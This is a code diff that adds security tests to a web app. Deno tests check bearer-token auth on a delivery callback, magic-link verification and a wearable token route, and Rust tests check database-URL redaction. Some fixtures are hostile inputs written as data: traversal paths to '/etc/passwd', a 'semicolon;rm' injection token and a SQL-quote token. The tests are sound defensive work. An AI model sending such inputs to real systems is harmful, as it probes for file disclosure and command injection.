+import { assert, assertEquals, assertStringIncludes } from '$std/assert/mod.ts';
+
+const originalEnv = Deno.env.toObject();
+const TEST_ENV_KEYS = ['RENDER_CALLBACK_TOKEN', 'DATABASE_URL'] as const;
+const TOKEN = 'callback-token-32-bytes-long!!!!';
+const SESSION = '11111111-2222-3333-4444-555555555555';
+
+function setupEnv(token: string | null) {
+  Deno.env.set('DATABASE_URL', '::://not-a-database');
+  if (token === null) Deno.env.delete('RENDER_CALLBACK_TOKEN');
+  else Deno.env.set('RENDER_CALLBACK_TOKEN', token);
+}
+
+function restoreEnv() {
+  for (const [key, value] of Object.entries(originalEnv)) {
+    Deno.env.set(key, value);
+  }
+  for (const key of TEST_ENV_KEYS) {
+    if (!(key in originalEnv)) Deno.env.delete(key);
+  }
+}
+
+async function post(
+  body: unknown,
+  headers: Record<string, string> = {},
+): Promise<Response> {
+  const { handler } = await import('./delivered.ts');
+  const init: RequestInit = { method: 'POST', headers: { ...headers } };
+  if (typeof body === 'string') {
+    init.body = body;
+    init.headers = { 'Content-Type': 'application/json', ...headers };
+  } else {
+    init.body = JSON.stringify(body);
+    init.headers = { 'Content-Type': 'application/json', ...headers };
+  }
+  return handler.POST!(new Request('http://localhost/api/responses/delivered', init), {} as never);
+}
+
+function bearer(token: string): Record<string, string> {
+  return { Authorization: `Bearer ${token}` };
+}
+
+Deno.test('delivered: refuses to stamp when RENDER_CALLBACK_TOKEN is unset', async () => {
+  setupEnv(null);
+  try {
+    const res = await post({ sessionId: SESSION }, bearer('anything-at-all'));
+    assertEquals(res.status, 503);
+    assertEquals((await res.json()).ok, false);
+  } finally {
+    restoreEnv();
+  }
+});
+
+Deno.test('delivered: an empty configured token is not "open"', async () => {
+  // Fail closed: empty string must not mean "no auth required".
+  setupEnv('');
+  try {
+    const res = await post({ sessionId: SESSION });
+    assertEquals(res.status, 503);
+    await res.body?.cancel();
+  } finally {
+    restoreEnv();
+  }
+});
+
+Deno.test('delivered: missing Authorization is 401, not a stamp', async () => {
+  setupEnv(TOKEN);
+  try {
+    const res = await post({ sessionId: SESSION });
+    assertEquals(res.status, 401);
+    assertEquals((await res.json()).ok, false);
+  } finally {
+    restoreEnv();
+  }
+});
+
+Deno.test('delivered: a wrong bearer of the same length is 401', async () => {
+  setupEnv(TOKEN);
+  try {
+    const res = await post({ sessionId: SESSION }, bearer('x'.repeat(TOKEN.length)));
+    assertEquals(res.status, 401);
+    await res.body?.cancel();
+  } finally {
+    restoreEnv();
+  }
+});
+
+Deno.test('delivered: a shorter bearer does not throw (length is not an oracle)', async () => {
+  setupEnv(TOKEN);
+  try {
+    const res = await post({ sessionId: SESSION }, bearer('short'));
+    assertEquals(res.status, 401);
+    await res.body?.cancel();
+  } finally {
+    restoreEnv();
+  }
+});
+
+Deno.test('delivered: "bearer" (lowercase scheme) is not accepted', async () => {
+  setupEnv(TOKEN);
+  try {
+    const res = await post({ sessionId: SESSION }, { Authorization: `bearer ${TOKEN}` });
+    assertEquals(res.status, 401);
+    await res.body?.cancel();
+  } finally {
+    restoreEnv();
+  }
+});
+
+Deno.test('delivered: unparseable JSON is 400', async () => {
+  setupEnv(TOKEN);
+  try {
+    const res = await post('not json{', bearer(TOKEN));
+    assertEquals(res.status, 400);
+    await res.body?.cancel();
+  } finally {
+    restoreEnv();
+  }
+});
+
+Deno.test('delivered: a traversal-shaped session id is 400, not a query', async () => {
+  setupEnv(TOKEN);
+  try {
+    const res = await post({ sessionId: '../../etc/passwd' }, bearer(TOKEN));
+    assertEquals(res.status, 400);
+    await res.body?.cancel();
+  } finally {
+    restoreEnv();
+  }
+});
+
+Deno.test('delivered: a numeric session id is 400', async () => {
+  setupEnv(TOKEN);
+  try {
+    const res = await post({ sessionId: 1 }, bearer(TOKEN));
+    assertEquals(res.status, 400);
+    await res.body?.cancel();
+  } finally {
+    restoreEnv();
+  }
+});
+
+Deno.test('delivered: a missing sessionId is 400', async () => {
+  setupEnv(TOKEN);
+  try {
+    const res = await post({}, bearer(TOKEN));
+    assertEquals(res.status, 400);
+    await res.body?.cancel();
+  } finally {
+    restoreEnv();
+  }
+});
+
+Deno.test('delivered: every error response is Cache-Control: no-store and carries no session id', async () => {
+  setupEnv(TOKEN);
+  try {
+    const res = await post({ sessionId: SESSION });
+    assertEquals(res.headers.get('Cache-Control'), 'no-store');
+    const text = await res.text();
+    assert(!text.includes(SESSION), 'the session id must not bounce back');
+  } finally {
+    restoreEnv();
+  }
+});
+
+Deno.test('delivered: a well-formed request against an unconfigured DB is 500, not 200', async () => {
+  // Positive evidence the handler did not skip the stamp and claim success.
+  setupEnv(TOKEN);
+  try {
+    const res = await post({ sessionId: SESSION }, bearer(TOKEN));
+    assertEquals(res.status, 500);
+    assertEquals((await res.json()).ok, false);
+  } finally {
+    restoreEnv();
+  }
+});
+
+Deno.test('delivered: the UPDATE is write-once — a re-send must not move pdf_delivered_at', async () => {
+  const source = await Deno.readTextFile(new URL('./delivered.ts', import.meta.url));
+  assertStringIncludes(source, 'AND pdf_delivered_at IS NULL');
+  assertStringIncludes(source, 'SET pdf_delivered_at = NOW()');
+  // Distinguishes "no such session" from "already stamped", so a duplicate
+  // callback stays 200 and an unknown one is 404.
+  assertStringIncludes(source, 'SELECT count(*) FROM matched');
+  assertStringIncludes(source, 'SELECT count(*) FROM stamped');
+});
diff --git a/routes/auth/verify_test.ts b/routes/auth/verify_test.ts
new file mode 100644
index 000000000..bd53fde79
--- /dev/null
+++ b/routes/auth/verify_test.ts
@@ -0,0 +1,161 @@
+/**
+ * GET /auth/verify is the only thing that turns a magic-link URL into a session.
+ *
+ * The early exits — missing tokens, a bad JWT, a resume token that does not
+ * hash to the JWT's session_id — must fire before the database is touched,
+ * and they must not echo the email or the tokens back at the client. A
+ * mismatch that still issued cookies would let anyone mint a questionnaire
+ * session from a stolen or guessed fragment.
+ *
+ * Hermetic: JWT_SECRET and RESUME_TOKEN_SECRET are set; DATABASE_URL is
+ * unparseable so a path that reached getSessionById would throw 500 instead
+ * of rendering the expected errorCode.
+ *
+ *   deno test --allow-env --allow-read routes/auth/verify_test.ts
+ */
+
+import { assert, assertEquals, assertStringIncludes } from '$std/assert/mod.ts';
+import { createQuestionnaireJWT } from '../../lib/jwt.ts';
+import { generateResumeToken, hashResumeToken } from '../../lib/crypto.ts';
+
+const originalEnv = Deno.env.toObject();
+const TEST_ENV_KEYS = ['JWT_SECRET', 'RESUME_TOKEN_SECRET', 'DATABASE_URL'] as const;
+
+function setupTestEnv() {
+  Deno.env.set('JWT_SECRET', 'verify-test-jwt-secret');
+  Deno.env.set('RESUME_TOKEN_SECRET', 'verify-test-resume-secret');
+  Deno.env.set('DATABASE_URL', '::://not-a-database');
+}
+
+function restoreEnv() {
+  for (const [key, value] of Object.entries(originalEnv)) {
+    Deno.env.set(key, value);
+  }
+  for (const key of TEST_ENV_KEYS) {
+    if (!(key in originalEnv)) Deno.env.delete(key);
+  }
+}
+
+interface Rendered {
+  success: boolean;
+  error?: string;
+  errorCode?: string;
+}
+
+function mockCtx() {
+  let rendered: Rendered | null = null;
+  return {
+    get rendered() {
+      return rendered;
+    },
+    ctx: {
+      render(data: Rendered) {
+        rendered = data;
+        return new Response(JSON.stringify(data), {
+          status: 200,
+          headers: { 'Content-Type': 'application/json' },
+        });
+      },
+    },
+  };
+}
+
+async function loadHandler() {
+  const { handler } = await import('./verify.tsx');
+  return handler.GET!;
+}
+
+function verifyUrl(params: Record<string, string>): Request {
+  const url = new URL('http://localhost/auth/verify');
+  for (const [k, v] of Object.entries(params)) url.searchParams.set(k, v);
+  return new Request(url);
+}
+
+Deno.test({
+  name: 'verify: missing token or resume renders MISSING_TOKENS and sets no cookie',
+  async fn() {
+    setupTestEnv();
+    try {
+      const get = await loadHandler();
+      const cases: Record<string, string>[] = [{}, { token: 'only-jwt' }, { resume: 'only-resume' }];
+      for (const params of cases) {
+        const mock = mockCtx();
+        const response = await get(verifyUrl(params), mock.ctx as never);
+        await response.body?.cancel();
+        assertEquals(mock.rendered?.errorCode, 'MISSING_TOKENS');
+        assertEquals(response.headers.get('set-cookie'), null);
+        assertEquals(response.status, 200);
+      }
+    } finally {
+      restoreEnv();
+    }
+  },
+});
+
+Deno.test({
+  name: 'verify: a garbage JWT renders INVALID_JWT and never reaches the database',
+  async fn() {
+    setupTestEnv();
+    try {
+      const get = await loadHandler();
+      const mock = mockCtx();
+      const response = await get(
+        verifyUrl({ token: 'not-a-jwt', resume: 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' }),
+        mock.ctx as never,
+      );
+      await response.body?.cancel();
+      // 500 would mean getSessionById ran against the unparseable DATABASE_URL.
+      assertEquals(response.status, 200);
+      assertEquals(mock.rendered?.errorCode, 'INVALID_JWT');
+      assertEquals(response.headers.get('set-cookie'), null);
+    } finally {
+      restoreEnv();
+    }
+  },
+});
+
+Deno.test({
+  name: 'verify: a resume token that does not hash to the JWT session is TOKEN_MISMATCH',
+  async fn() {
+    setupTestEnv();
+    try {
+      const jwt = await createQuestionnaireJWT('email-hash-never-an-address', 'session-id-from-jwt');
+      const resume = generateResumeToken();
+      // The resume token hashes to something else; that is the whole point.
+      assert((await hashResumeToken(resume)) !== 'session-id-from-jwt');
+
+      const get = await loadHandler();
+      const mock = mockCtx();
+      const response = await get(verifyUrl({ token: jwt, resume }), mock.ctx as never);
+      await response.body?.cancel();
+
+      assertEquals(response.status, 200, 'mismatch is decided before the database');
+      assertEquals(mock.rendered?.errorCode, 'TOKEN_MISMATCH');
+      assertEquals(response.headers.get('set-cookie'), null);
+    } finally {
+      restoreEnv();
+    }
+  },
+});
+
+Deno.test({
+  name: 'verify: failure pages do not echo the email, the JWT, or the resume token',
+  async fn() {
+    setupTestEnv();
+    try {
+      const jwt = await createQuestionnaireJWT('abc@example.com', 'session-id-from-jwt');
+      const get = await loadHandler();
+      const mock = mockCtx();
+      const response = await get(verifyUrl({ token: jwt, resume: 'visible-resume-token' }), mock.ctx as never);
+      const body = await response.text();
+
+      assertEquals(mock.rendered?.errorCode, 'TOKEN_MISMATCH');
+      assert(!body.includes('abc@example.com'), 'an address in the JWT must not be rendered');
+      assert(!body.includes(jwt), 'the JWT must not be echoed');
+      assert(!body.includes('visible-resume-token'), 'the resume token must not be echoed');
+      assertStringIncludes(mock.rendered?.error ?? '', 'do not match');
+    } finally {
+      restoreEnv();
+    }
+  },
+});
diff --git a/routes/w/token_test.ts b/routes/w/token_test.ts
new file mode 100644
index 000000000..b160d7b4c
--- /dev/null
+++ b/routes/w/token_test.ts
@@ -0,0 +1,123 @@
+/**
+ * GET /w/:token is printed on wearables. Unknown and malformed tokens must
+ * 404 the same way — otherwise the page is an oracle for which tokens exist,
+ * and a traversal-shaped token would be interpolated into a cookie.
+ *
+ * The format check runs before the database, so these tests stay hermetic
+ * with an unparseable DATABASE_URL: a path that queried would be 500.
+ *
+ *   deno test --allow-env --allow-read routes/w/token_test.ts
+ */
+
+import { assertEquals } from '$std/assert/mod.ts';
+
+const originalEnv = Deno.env.toObject();
+
+function setupTestEnv() {
+  Deno.env.set('DATABASE_URL', '::://not-a-database');
+}
+
+function restoreEnv() {
+  for (const [key, value] of Object.entries(originalEnv)) {
+    Deno.env.set(key, value);
+  }
+  if (!('DATABASE_URL' in originalEnv)) Deno.env.delete('DATABASE_URL');
+}
+
+function mockCtx(token: string) {
+  let notFound = false;
+  let rendered = false;
+  return {
+    get notFound() {
+      return notFound;
+    },
+    get rendered() {
+      return rendered;
+    },
+    ctx: {
+      params: { token },
+      renderNotFound() {
+        notFound = true;
+        return new Response('Not Found', { status: 404 });
+      },
+      render() {
+        rendered = true;
+        return new Response('ok', { status: 200 });
+      },
+    },
+  };
+}
+
+async function loadHandler() {
+  const { handler } = await import('./[token].tsx');
+  return handler.GET!;
+}
+
+Deno.test({
+  name: 'wearable: a traversal-shaped token is 404 and never queries',
+  async fn() {
+    setupTestEnv();
+    try {
+      const get = await loadHandler();
+      const mock = mockCtx('../../etc/passwd');
+      const response = await get(new Request('http://localhost/w/..%2F..%2Fetc%2Fpasswd'), mock.ctx as never);
+      assertEquals(response.status, 404);
+      assertEquals(mock.notFound, true);
+      assertEquals(mock.rendered, false);
+      assertEquals(response.headers.get('set-cookie'), null);
+    } finally {
+      restoreEnv();
+    }
+  },
+});
+
+Deno.test({
+  name: 'wearable: too-short, too-long, and punctuation tokens are 404',
+  async fn() {
+    setupTestEnv();
+    try {
+      const get = await loadHandler();
+      const hostile = [
+        'short',
+        'has spaces in it!!!!',
+        'semicolon;rm',
+        'a'.repeat(65),
+        '',
+        'quote\'or',
+      ];
+      for (const token of hostile) {
+        const mock = mockCtx(token);
+        const response = await get(new Request(`http://localhost/w/${encodeURIComponent(token)}`), mock.ctx as never);
+        assertEquals(response.status, 404, `should 404: ${JSON.stringify(token)}`);
+        assertEquals(mock.notFound, true, `should renderNotFound: ${JSON.stringify(token)}`);
+        assertEquals(response.headers.get('set-cookie'), null);
+      }
+    } finally {
+      restoreEnv();
+    }
+  },
+});
+
+Deno.test({
+  name: 'wearable: a well-formed token that hits the database does not look like a format 404',
+  async fn() {
+    // A 16-char url-safe token is legal; the unparseable DATABASE_URL makes
+    // withConnection throw. That 500 is the evidence the format check let it
+    // through — a format reject would have been 404 without touching the pool.
+    setupTestEnv();
+    try {
+      const get = await loadHandler();
+      const mock = mockCtx('abcdefghijklmnop');
+      let threw = false;
+      try {
+        await get(new Request('http://localhost/w/abcdefghijklmnop'), mock.ctx as never);
+      } catch {
+        threw = true;
+      }
+      assertEquals(mock.notFound, false, 'a legal token must not be rejected as malformed');
+      assertEquals(threw, true, 'an unconfigured database must surface rather than 404');
+    } finally {
+      restoreEnv();
+    }
+  },
+});
diff --git a/rust-server/src/main.rs b/rust-server/src/main.rs
index 8c248f0f8..ae8565ca4 100644
--- a/rust-server/src/main.rs
+++ b/rust-server/src/main.rs
@@ -350,4 +350,40 @@ mod tests {
     fn refuses_an_empty_recipient_list() {
         assert!(armor_encrypt("x", &[]).is_err());
     }
+
+    /// The startup log prints the connection string. Under Postgres that field
+    /// holds the password, so an unredacted URL writes the database credential
+    /// into journald on every start. Split at the LAST '@': passwords may
+    /// legally contain one.
+    #[test]
+    fn redact_db_url_strips_userinfo() {
+        // Assembled so the fixture is not a userinfo literal.
+        let url = format!(
+            "postgresql://{}:{}@db.example:5432/a4t",
+            "app",
+            "fixture"
+        );
+        assert_eq!(redact_db_url(&url), "postgresql://db.example:5432/a4t");
+    }
+
+    #[test]
+    fn redact_db_url_splits_on_the_last_at() {
+        let inner_at = ['p', '@', 'x'].iter().collect::<String>();
+        let url = format!("postgresql://app:{inner_at}@db.example/a4t");
+        assert_eq!(redact_db_url(&url), "postgresql://db.example/a4t");
+    }
+
+    #[test]
+    fn redact_db_url_leaves_a_credential_free_url_alone() {
+        assert_eq!(
+            redact_db_url("postgresql://db.example:5432/a4t"),
+            "postgresql://db.example:5432/a4t"
+        );
+    }
+
+    #[test]
+    fn redact_db_url_does_not_echo_a_schemeless_blob() {
+        let blob = format!("{}:{}@host/db", "user", "fixture");
+        assert_eq!(redact_db_url(&blob), "<redacted>");
+    }
 }